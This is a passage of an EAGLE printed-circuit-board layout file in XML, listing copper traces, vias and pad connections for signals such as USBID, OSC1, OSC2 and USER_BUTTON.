x2=\"51.4\" y2=\"51.9\" width=\"0.4\" layer=\"16\"/>\n<wire x1=\"49.3\" y1=\"50.7\" x2=\"51.3\" y2=\"50.7\" width=\"0.3\" layer=\"1\"/>\n<wire x1=\"51.3\" y1=\"50.7\" x2=\"51.4\" y2=\"50.8\" width=\"0.3\" layer=\"1\"/>\n<wire x1=\"51.4\" y1=\"50.8\" x2=\"51.4\" y2=\"51.9\" width=\"0.3\" layer=\"1\"/>\n<wire x1=\"52.7\" y1=\"48.8\" x2=\"51.9\" y2=\"49.6\" width=\"0.4\" layer=\"1\"/>\n<wire x1=\"51.9\" y1=\"49.6\" x2=\"51.4\" y2=\"50.1\" width=\"0.4\" layer=\"1\"/>\n<wire x1=\"51.4\" y1=\"50.1\" x2=\"51.4\" y2=\"51.9\" width=\"0.4\" layer=\"1\"/>\n<wire x1=\"51.9\" y1=\"46.4\" x2=\"51.9\" y2=\"49.6\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"101.4\" y1=\"34.9\" x2=\"101.4\" y2=\"34.6\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"101.4\" y1=\"34.9\" x2=\"101.45\" y2=\"34.95\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"29.7\" y1=\"29.6\" x2=\"31.8\" y2=\"29.6\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"31.8\" y1=\"29.6\" x2=\"31.9\" y2=\"29.5\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"29.1\" y1=\"30.2\" x2=\"29.8\" y2=\"29.5\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"29.8\" y1=\"29.5\" x2=\"31.9\" y2=\"29.5\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"99.45\" y1=\"45.5\" x2=\"100.65\" y2=\"46.7\" width=\"0.2\" layer=\"1\"/>\n<contactref element=\"TP14\" pad=\"TP\"/>\n<wire x1=\"11.6\" y1=\"58.2\" x2=\"11.6\" y2=\"48.4\" width=\"0.4\" layer=\"16\"/>\n<wire x1=\"11.6\" y1=\"48.4\" x2=\"11.8\" y2=\"48.2\" width=\"0.4\" layer=\"16\"/>\n<wire x1=\"11.8\" y1=\"48.2\" x2=\"11.9\" y2=\"48.2\" width=\"0.4\" layer=\"16\"/>\n<wire x1=\"8.9\" y1=\"61\" x2=\"1.8\" y2=\"61\" width=\"0.4\" layer=\"16\"/>\n<wire x1=\"11.6\" y1=\"58.2\" x2=\"8.9\" y2=\"60.9\" width=\"0.4\" layer=\"16\"/>\n<wire x1=\"8.9\" y1=\"60.9\" x2=\"8.9\" y2=\"61\" width=\"0.4\" layer=\"16\"/>\n<wire x1=\"100.9\" y1=\"40.1\" x2=\"100.9\" y2=\"46.45\" width=\"0.4\" layer=\"1\"/>\n<wire x1=\"100.9\" y1=\"46.45\" x2=\"100.65\" y2=\"46.7\" width=\"0.4\" layer=\"1\"/>\n<wire x1=\"100.65\" y1=\"46.7\" x2=\"100.425\" y2=\"46.925\" width=\"0.4\" layer=\"1\"/>\n<wire x1=\"97.15\" y1=\"60.45\" x2=\"97.15\" y2=\"60.55\" width=\"0.4\" layer=\"1\"/>\n<wire x1=\"98.9\" y1=\"61.4\" x2=\"98.9\" y2=\"65.9\" width=\"0.4\" layer=\"1\"/>\n<wire x1=\"98.9\" y1=\"65.9\" x2=\"99.1\" y2=\"66.1\" width=\"0.4\" layer=\"1\"/>\n<wire x1=\"97.2\" y1=\"65.5\" x2=\"98.5\" y2=\"65.5\" width=\"0.4\" layer=\"1\"/>\n<wire x1=\"98.5\" y1=\"65.5\" x2=\"98.9\" y2=\"65.9\" width=\"0.4\" layer=\"1\"/>\n<wire x1=\"99.1\" y1=\"66.1\" x2=\"99.5\" y2=\"66.1\" width=\"0.4\" layer=\"1\"/>\n<wire x1=\"99.5\" y1=\"66.1\" x2=\"101.45\" y2=\"68.05\" width=\"0.4\" layer=\"1\"/>\n<contactref element=\"R20\" pad=\"2\"/>\n<wire x1=\"101.45\" y1=\"68.05\" x2=\"101.45\" y2=\"70.2\" width=\"0.4\" layer=\"1\"/>\n<wire x1=\"89.1\" y1=\"60.5\" x2=\"90\" y2=\"61.4\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"89.3\" y1=\"60.5\" x2=\"89.1\" y2=\"60.5\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"89.3\" y1=\"60.5\" x2=\"89.3\" y2=\"60.45\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"98.6\" y1=\"61.4\" x2=\"90\" y2=\"61.4\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"101.45\" y1=\"36.35\" x2=\"101.45\" y2=\"34.95\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"98.9\" y1=\"61.4\" x2=\"98.9\" y2=\"60.5\" width=\"0.4\" layer=\"1\"/>\n<wire x1=\"85.4\" y1=\"46.8\" x2=\"85.4\" y2=\"55.9\" width=\"0.4\" layer=\"16\"/>\n<wire x1=\"85.4\" y1=\"55.9\" x2=\"85.7\" y2=\"56.2\" width=\"0.4\" layer=\"16\"/>\n<via x=\"85.7\" y=\"56.2\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<wire x1=\"85.7\" y1=\"56.2\" x2=\"93.7\" y2=\"56.2\" width=\"0.4\" layer=\"1\"/>\n<wire x1=\"100.65\" y1=\"46.7\" x2=\"100.35\" y2=\"46.4\" width=\"0.4\" layer=\"1\"/>\n<wire x1=\"100.35\" y1=\"46.4\" x2=\"85.8\" y2=\"46.4\" width=\"0.4\" layer=\"1\"/>\n<via x=\"85.4\" y=\"46.8\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<wire x1=\"85.4\" y1=\"46.8\" x2=\"85.8\" y2=\"46.4\" width=\"0.4\" layer=\"1\"/>\n<contactref element=\"R33\" pad=\"1\"/>\n<contactref element=\"R34\" pad=\"1\"/>\n<contactref element=\"R35\" pad=\"1\"/>\n<contactref element=\"R36\" pad=\"1\"/>\n<wire x1=\"86.85\" y1=\"49.2\" x2=\"86.85\" y2=\"53.1\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"86.85\" y1=\"53.1\" x2=\"86.85\" y2=\"56.1\" width=\"0.2\" layer=\"16\"/>\n<contactref element=\"USD_1\" pad=\"4\"/>\n<contactref element=\"C17\" pad=\"1\"/>\n<wire x1=\"102.9\" y1=\"54.3\" x2=\"102.95\" y2=\"54.25\" width=\"0.2\" layer=\"16\"/>\n<via x=\"93.6\" y=\"55.6\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<wire x1=\"86.85\" y1=\"56.1\" x2=\"85.8\" y2=\"56.1\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"85.8\" y1=\"56.1\" x2=\"85.7\" y2=\"56.2\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"54.7\" y1=\"39.7\" x2=\"54.8\" y2=\"39.8\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"54.8\" y1=\"39.8\" x2=\"56.4\" y2=\"39.8\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"59.6\" y1=\"38.3\" x2=\"61.1\" y2=\"36.8\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"61.1\" y1=\"36.8\" x2=\"61.6\" y2=\"36.8\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"61.6\" y1=\"36.8\" x2=\"62\" y2=\"36.4\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"62\" y1=\"36.4\" x2=\"62.03\" y2=\"36.4\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"52.9\" y1=\"44.6\" x2=\"52.9\" y2=\"45.4\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"52.9\" y1=\"45.4\" x2=\"51.9\" y2=\"46.4\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"93.6\" y1=\"55.6\" x2=\"93.7\" y2=\"55.7\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"93.7\" y1=\"55.7\" x2=\"93.7\" y2=\"56.2\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"85.8\" y1=\"58.95\" x2=\"85.8\" y2=\"58.05\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"85.8\" y1=\"58.05\" x2=\"86.95\" y2=\"56.9\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"102.9\" y1=\"54.3\" x2=\"102.8\" y2=\"54.2\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"102.8\" y1=\"54.2\" x2=\"101.2\" y2=\"54.2\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"101.2\" y1=\"54.2\" x2=\"100.7\" y2=\"53.7\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"100.7\" y1=\"53.7\" x2=\"100.7\" y2=\"50.3\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"100.7\" y1=\"50.3\" x2=\"100.4\" y2=\"50\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"100.4\" y1=\"50\" x2=\"94.5\" y2=\"50\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"94.5\" y1=\"50\" x2=\"93.2\" y2=\"51.3\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"93.2\" y1=\"51.3\" x2=\"93.2\" y2=\"55.2\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"93.2\" y1=\"55.2\" x2=\"93.6\" y2=\"55.6\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"60.3\" y1=\"48.4\" x2=\"55.65\" y2=\"53.05\" width=\"0.4\" layer=\"16\"/>\n<wire x1=\"55.65\" y1=\"53.05\" x2=\"55.65\" y2=\"56\" width=\"0.4\" layer=\"16\"/>\n<wire x1=\"55.65\" y1=\"56\" x2=\"55.65\" y2=\"56.95\" width=\"0.4\" layer=\"16\"/>\n<wire x1=\"51.7\" y1=\"52.2\" x2=\"51.7\" y2=\"55.1\" width=\"0.4\" layer=\"16\"/>\n<wire x1=\"51.7\" y1=\"55.1\" x2=\"52.6\" y2=\"56\" width=\"0.4\" layer=\"16\"/>\n<wire x1=\"52.6\" y1=\"56\" x2=\"55.65\" y2=\"56\" width=\"0.4\" layer=\"16\"/>\n<wire x1=\"51.4\" y1=\"51.9\" x2=\"50.9\" y2=\"51.9\" width=\"0.4\" layer=\"16\"/>\n<wire x1=\"50.9\" y1=\"51.9\" x2=\"49.7\" y2=\"53.1\" width=\"0.4\" layer=\"16\"/>\n<wire x1=\"59.6\" y1=\"39.8\" x2=\"59.6\" y2=\"43\" width=\"0.4\" layer=\"16\"/>\n<wire x1=\"59.6\" y1=\"43\" x2=\"60.3\" y2=\"43.7\" width=\"0.4\" layer=\"16\"/>\n<wire x1=\"4.4\" y1=\"36.4\" x2=\"11.9\" y2=\"43.9\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"11.9\" y1=\"43.9\" x2=\"11.9\" y2=\"48.2\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"86.85\" y1=\"56.1\" x2=\"86.85\" y2=\"56.8\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"86.85\" y1=\"56.8\" x2=\"86.95\" y2=\"56.9\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"98.6\" y1=\"61.4\" x2=\"98.9\" y2=\"61.4\" width=\"0.4\" layer=\"1\"/>\n<wire x1=\"97.15\" y1=\"60.55\" x2=\"98.85\" y2=\"60.55\" width=\"0.4\" layer=\"1\"/>\n<wire x1=\"98.85\" y1=\"60.55\" x2=\"98.9\" y2=\"60.5\" width=\"0.4\" layer=\"1\"/>\n<wire x1=\"99.3\" y1=\"12.8\" x2=\"99.5\" y2=\"13\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"99.5\" y1=\"13\" x2=\"99.5\" y2=\"15.3\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"99.5\" y1=\"15.3\" x2=\"100.3\" y2=\"16.1\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"100.3\" y1=\"16.1\" x2=\"102.6\" y2=\"16.1\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"97.6\" y1=\"9.5\" x2=\"97.6\" y2=\"11.8\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"97.6\" y1=\"11.8\" x2=\"98.55\" y2=\"12.75\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"98.55\" y1=\"12.75\" x2=\"99.3\" y2=\"12.75\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"49.2\" y1=\"57.7\" x2=\"47.9\" y2=\"57.7\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"47.9\" y1=\"57.7\" x2=\"47.7\" y2=\"57.9\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"28.5\" y1=\"23.7\" x2=\"20\" y2=\"15.2\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"57.9\" y1=\"58.5\" x2=\"57.7\" y2=\"58.3\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"57.7\" y1=\"58.3\" x2=\"57.2\" y2=\"58.3\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"57.2\" y1=\"58.3\" x2=\"57.1\" y2=\"58.4\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"20\" y1=\"15.2\" x2=\"8.1\" y2=\"15.2\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"8.1\" y1=\"15.2\" x2=\"5.5\" y2=\"12.6\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"5.5\" y1=\"12.6\" x2=\"5.5\" y2=\"12.5\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"5.5\" y1=\"12.5\" x2=\"4.7\" y2=\"11.7\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"4.7\" y1=\"11.7\" x2=\"4.7\" y2=\"7.5\" width=\"0.2\" layer=\"16\"/>\n<via x=\"4.7\" y=\"7.5\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<wire x1=\"3.35\" y1=\"5.8\" x2=\"3.2\" y2=\"5.75\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"40.55\" y1=\"50.75\" x2=\"40.2\" y2=\"50.4\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"40.2\" y1=\"50.4\" x2=\"40.2\" y2=\"49.6\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"40.2\" y1=\"49.6\" x2=\"38.9\" y2=\"48.3\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"38.9\" y1=\"48.3\" x2=\"36.95\" y2=\"48.3\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"36.95\" y1=\"48.3\" x2=\"36.95\" y2=\"47.25\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"36.95\" y1=\"47.25\" x2=\"36.6\" y2=\"46.9\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"31.9\" y1=\"29.5\" x2=\"30.7\" y2=\"29.5\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"30.7\" y1=\"29.5\" x2=\"28.5\" y2=\"27.3\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"28.5\" y1=\"27.3\" x2=\"28.5\" y2=\"23.7\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"4.7\" y1=\"7.5\" x2=\"4.7\" y2=\"6.2\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"4.7\" y1=\"6.2\" x2=\"4.3\" y2=\"5.8\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"4.3\" y1=\"5.8\" x2=\"3.25\" y2=\"5.8\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"3.25\" y1=\"5.8\" x2=\"3.2\" y2=\"5.75\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"98.9\" y1=\"60.5\" x2=\"98.9\" y2=\"58\" width=\"0.4\" layer=\"1\"/>\n<wire x1=\"98.9\" y1=\"58\" x2=\"98.3\" y2=\"57.4\" width=\"0.4\" layer=\"1\"/>\n<wire x1=\"98.3\" y1=\"57.4\" x2=\"94.9\" y2=\"57.4\" width=\"0.4\" layer=\"1\"/>\n<wire x1=\"94.9\" y1=\"57.4\" x2=\"93.7\" y2=\"56.2\" width=\"0.4\" layer=\"1\"/>\n<wire x1=\"93.7\" y1=\"56.2\" x2=\"95.85\" y2=\"56.2\" width=\"0.4\" layer=\"1\"/>\n<wire x1=\"95.85\" y1=\"56.2\" x2=\"95.95\" y2=\"56.1\" width=\"0.4\" layer=\"1\"/>\n<wire x1=\"97.6\" y1=\"9.5\" x2=\"95.4\" y2=\"7.3\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"95.4\" y1=\"7.3\" x2=\"94.25\" y2=\"7.3\" width=\"0.2\" layer=\"1\"/>\n<contactref element=\"TP18\" pad=\"TP\"/>\n<wire x1=\"103.2\" y1=\"73.3\" x2=\"101.45\" y2=\"71.55\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"101.45\" y1=\"71.55\" x2=\"101.45\" y2=\"70.2\" width=\"0.2\" layer=\"16\"/>\n<contactref element=\"R23\" pad=\"1\"/>\n<wire x1=\"72.2\" y1=\"47.8\" x2=\"72.2\" y2=\"46.65\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"72.2\" y1=\"46.65\" x2=\"72.15\" y2=\"46.6\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"73.25\" y1=\"45.5\" x2=\"72.15\" y2=\"46.6\" width=\"0.2\" layer=\"1\"/>\n</signal>\n<signal name=\"USBID\">\n<contactref element=\"U6\" pad=\"51\"/>\n<contactref element=\"R23\" pad=\"2\"/>\n<wire x1=\"69.9\" y1=\"46.1\" x2=\"70.4\" y2=\"46.6\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"68.6\" y1=\"46.1\" x2=\"69.9\" y2=\"46.1\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"68.5\" y1=\"46.2\" x2=\"68.6\" y2=\"46.1\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"64.6\" y1=\"46.2\" x2=\"68.5\" y2=\"46.2\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"64.6\" y1=\"46.2\" x2=\"64.52\" y2=\"46.2056\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"71.8\" y1=\"48.5\" x2=\"72.8\" y2=\"48.5\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"70.4\" y1=\"47.1\" x2=\"71.8\" y2=\"48.5\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"70.4\" y1=\"46.6\" x2=\"70.4\" y2=\"47.1\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"70.4\" y1=\"46.6\" x2=\"70.45\" y2=\"46.6\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"98.2\" y1=\"47.2\" x2=\"86.2\" y2=\"47.2\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"85.2\" y1=\"48.2\" x2=\"82.7\" y2=\"48.2\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"82.7\" y1=\"48.2\" x2=\"81.8\" y2=\"47.3\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"81.8\" y1=\"47.3\" x2=\"76.1\" y2=\"47.3\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"76.1\" y1=\"47.3\" x2=\"74\" y2=\"47.3\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"74\" y1=\"47.3\" x2=\"72.8\" y2=\"48.5\" width=\"0.2\" layer=\"1\"/>\n<contactref element=\"TP32\" pad=\"TP\"/>\n<wire x1=\"76.1\" y1=\"47.5\" x2=\"76.1\" y2=\"47.7\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"76.1\" y1=\"47.3\" x2=\"76.1\" y2=\"47.5\" width=\"0.2\" layer=\"1\"/>\n<via x=\"76.1\" y=\"47.5\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<wire x1=\"78.4\" y1=\"47.4\" x2=\"78.3\" y2=\"47.5\" width=\"0.4\" layer=\"16\"/>\n<wire x1=\"78.3\" y1=\"47.5\" x2=\"76.1\" y2=\"47.5\" width=\"0.4\" layer=\"16\"/>\n<wire x1=\"86.2\" y1=\"47.2\" x2=\"85.2\" y2=\"48.2\" width=\"0.2\" layer=\"1\"/>\n<contactref element=\"U$2\" pad=\"ID\"/>\n<wire x1=\"98.2\" y1=\"47.2\" x2=\"99.2\" y2=\"48.2\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"99.2\" y1=\"48.2\" x2=\"107.1\" y2=\"48.2\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"106.2\" y1=\"55.4\" x2=\"103.9\" y2=\"55.4\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"103.9\" y1=\"55.4\" x2=\"103.8\" y2=\"55.5\" width=\"0.2\" layer=\"1\"/>\n<via x=\"106.2\" y=\"55.4\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<wire x1=\"106.2\" y1=\"55.4\" x2=\"106.2\" y2=\"54.6\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"106.2\" y1=\"54.6\" x2=\"107.7\" y2=\"53.1\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"107.7\" y1=\"53.1\" x2=\"107.7\" y2=\"47.5\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"107.7\" y1=\"47.5\" x2=\"107.5\" y2=\"47.3\" width=\"0.2\" layer=\"16\"/>\n<via x=\"107.5\" y=\"47.3\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<wire x1=\"107.5\" y1=\"47.3\" x2=\"107.5\" y2=\"47.8\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"107.5\" y1=\"47.8\" x2=\"107.1\" y2=\"48.2\" width=\"0.2\" layer=\"1\"/>\n</signal>\n<signal name=\"OSC2\">\n<contactref element=\"X1\" pad=\"2\"/>\n<contactref element=\"C14\" pad=\"2\"/>\n<contactref element=\"U6\" pad=\"63\"/>\n<wire x1=\"75.1\" y1=\"51.7\" x2=\"75.1\" y2=\"50\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"76.1\" y1=\"52.7\" x2=\"75.1\" y2=\"51.7\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"78.374\" y1=\"52.7\" x2=\"76.1\" y2=\"52.7\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"69.9\" y1=\"54.1\" x2=\"68.543640625\" y2=\"52.87281875\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"72.6\" y1=\"54.1\" x2=\"69.9\" y2=\"54.1\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"73.2\" y1=\"54.7\" x2=\"72.6\" y2=\"54.1\" width=\"0.2\" layer=\"16\"/>\n<via x=\"75.1\" y=\"51.7\" extent=\"1-16\" drill=\"0.4\"/>\n<via x=\"62.9\" y=\"51.9\" extent=\"1-16\" drill=\"0.4\"/>\n<wire x1=\"74.4\" y1=\"54.7\" x2=\"73.2\" y2=\"54.7\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"62.9\" y1=\"51.9\" x2=\"63.2\" y2=\"52.4\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"63.2\" y1=\"52.4\" x2=\"68.070821875\" y2=\"52.4\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"68.070821875\" y1=\"52.4\" x2=\"68.543640625\" y2=\"52.87281875\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"64.52\" y1=\"52.2\" x2=\"63.1\" y2=\"52.2\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"63.1\" y1=\"52.2\" x2=\"62.9\" y2=\"51.9\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"75.1\" y1=\"50\" x2=\"76.6\" y2=\"48.5\" width=\"0.2\" layer=\"16\"/>\n<via x=\"76.6\" y=\"48.5\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<wire x1=\"76.6\" y1=\"48.5\" x2=\"78.35\" y2=\"48.5\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"75.1\" y1=\"51.7\" x2=\"75.1\" y2=\"54\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"75.1\" y1=\"54\" x2=\"74.4\" y2=\"54.7\" width=\"0.2\" layer=\"16\"/>\n</signal>\n<signal name=\"OSC1\">\n<contactref element=\"X1\" pad=\"1\"/>\n<contactref element=\"C13\" pad=\"2\"/>\n<contactref element=\"U6\" pad=\"64\"/>\n<wire x1=\"87.4\" y1=\"50.9\" x2=\"69.2\" y2=\"50.9\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"89.2\" y1=\"52.7\" x2=\"87.4\" y2=\"50.9\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"88.026\" y1=\"52.7\" x2=\"89.2\" y2=\"52.7\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"64.6\" y1=\"52.7\" x2=\"64.52\" y2=\"52.708\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"67.7\" y1=\"52.4\" x2=\"67.75\" y2=\"52.35\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"67.75\" y1=\"52.35\" x2=\"69.2\" y2=\"50.9\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"87.4\" y1=\"50.9\" x2=\"88.35\" y2=\"49.95\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"88.35\" y1=\"49.95\" x2=\"88.35\" y2=\"48.7\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"64.6\" y1=\"52.7\" x2=\"67.4\" y2=\"52.7\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"67.4\" y1=\"52.7\" x2=\"67.7\" y2=\"52.4\" width=\"0.2\" layer=\"1\"/>\n</signal>\n<signal name=\"USER_BUTTON\">\n<contactref element=\"USER\" pad=\"4\"/>\n<contactref element=\"USER\" pad=\"3\"/>\n<contactref element=\"R30\" pad=\"2\"/>\n<contactref element=\"U6\" pad=\"4\"/>\n<wire x1=\"91.1\" y1=\"9\" x2=\"92.4\" y2=\"7.7\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"91.1\" y1=\"9.9\" x2=\"91.1\" y2=\"9\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"90.7\" y1=\"9.9\" x2=\"91.1\" y2=\"9.9\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"92.4\" y1=\"7.7\" x2=\"92.55\" y2=\"7.3\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"90.7\" y1=\"9.9\" x2=\"90.66\" y2=\"9.995\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"90.7\" y1=\"10\" x2=\"95.7\" y2=\"10\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"95.7\" y1=\"10\" x2=\"95.74\" y2=\"9.995\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"90.7\" y1=\"10\" x2=\"90.66\" y2=\"9.995\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"50.1\" y1=\"56.7\" x2=\"49.3\" y2=\"56.7\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"52.6\" y1=\"54.2\" x2=\"50.1\" y2=\"56.7\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"52.6\" y1=\"51.7\" x2=\"52.6\" y2=\"54.2\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"51.3\" y1=\"50.6\" x2=\"51.35\" y2=\"50.65\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"51.35\" y1=\"50.65\" x2=\"52.6\" y2=\"51.7\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"40.8\" y1=\"61.7\" x2=\"47.8\" y2=\"54.7\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"40.8\" y1=\"65.3\" x2=\"40.8\" y2=\"61.7\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"38.9\" y1=\"67.2\" x2=\"40.8\" y2=\"65.3\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"20.4\" y1=\"67.2\" x2=\"38.9\" y2=\"67.2\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"17.4\" y1=\"70.2\" x2=\"20.4\" y2=\"67.2\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"49.3\" y1=\"56.7\" x2=\"49.28\" y2=\"56.6958\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"67\" y1=\"10\" x2=\"90.6\" y2=\"10\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"58.8\" y1=\"18.1\" x2=\"67\" y2=\"10\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"46.8\" y1=\"30.2\" x2=\"58.8\" y2=\"18.1\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"46.8\" y1=\"42\" x2=\"46.8\" y2=\"30.2\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"47.6\" y1=\"42.8\" x2=\"46.8\" y2=\"42\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"47.6\" y1=\"44.2\" x2=\"47.6\" y2=\"42.8\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"51.4\" y1=\"48\" x2=\"47.6\" y2=\"44.2\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"51.4\" y1=\"50.6\" x2=\"51.4\" y2=\"48\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"90.6\" y1=\"10\" x2=\"90.66\" y2=\"9.995\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"51.4\" y1=\"50.6\" x2=\"51.35\" y2=\"50.65\" width=\"0.2\" layer=\"16\"/>\n<via x=\"52.6\" 